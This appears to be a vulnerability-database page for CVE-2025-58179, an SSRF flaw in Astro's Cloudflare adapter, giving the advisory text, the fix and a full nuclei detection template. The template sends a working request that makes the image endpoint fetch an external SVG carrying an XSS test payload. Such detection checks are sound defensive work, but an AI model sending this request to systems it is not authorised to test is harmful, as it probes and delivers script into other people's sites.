HexBrain

Browse / CVEs / CVE-2025-58179

CVE-2025-58179· withastro / astro· CWE-918

Astro Cloudflare Adapter - Server Side Request Forgery

highseverity
7.2CVSS score
0.9%likelihood of exploitation, next 30 days
59%of all CVEs are less likely
Readycheck to confirm it

Astro is a web framework for content-driven websites. Versions 11.0.3 through 12.6.5 are vulnerable to SSRF when using Astro's Cloudflare adapter. When configured with output: 'server' while using the default imageService: 'compile', the generated image optimization endpoint doesn't check the URLs it receives, allowing content from unauthorized third-party domains to be served. a A bug in impacted versions of the @astrojs/cloudflare adapter for deployment on Cloudflare’s infrastructure, allows an attacker to bypass the third-party domain restrictions and serve any content from the vulnerable origin.

Impact

Unauthenticated attackers can bypass third-party domain restrictions to serve arbitrary content from unauthorized domains through the image optimization endpoint, potentially enabling XSS attacks.

Fix

Upgrade Astro's @astrojs/cloudflare adapter to version 12.6.6 or later that properly validates image URLs.

How to confirm it

Send: GET {{BaseURL}}/_image?href=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg
Positive when: contains "<script type=\"text/javascript" and "alert(document.domain);" AND contains in content_type "image/svg+xml" AND status 200

Run it with nuclei: nuclei -id CVE-2025-58179 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-58179

info:
  name: Astro Cloudflare Adapter - Server Side Request Forgery
  author: HoangAnhThai
  severity: high
  description: |
    Astro is a web framework for content-driven websites. Versions 11.0.3 through 12.6.5 are vulnerable to SSRF when using Astro's Cloudflare adapter. When configured with output: 'server' while using the default imageService: 'compile', the generated image optimization endpoint doesn't check the URLs it receives, allowing content from unauthorized third-party domains to be served. a A bug in impacted versions of the @astrojs/cloudflare adapter for deployment on Cloudflare’s infrastructure, allows an attacker to bypass the third-party domain restrictions and serve any content from the vulnerable origin.
  impact: |
    Unauthenticated attackers can bypass third-party domain restrictions to serve arbitrary content from unauthorized domains through the image optimization endpoint, potentially enabling XSS attacks.
  remediation: |
    Upgrade Astro's @astrojs/cloudflare adapter to version 12.6.6 or later that properly validates image URLs.
  reference:
    - https://github.com/withastro/astro/commit/9ecf359
    - https://github.com/advisories/GHSA-qpr4-c339-7vq8
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58179
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2025-58179
    epss-score: 0.0087
    epss-percentile: 0.59098
    cwe-id: CWE-918
    cpe: cpe:2.3:a:withastro:astro:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: withastro
    product: astro
  tags: cve,cve2025,ssrf,xss,astro,cloudflare,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/_image?href=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script type="text/javascript'
          - 'alert(document.domain);'
        condition: and

      - type: word
        part: content_type
        words:
          - "image/svg+xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from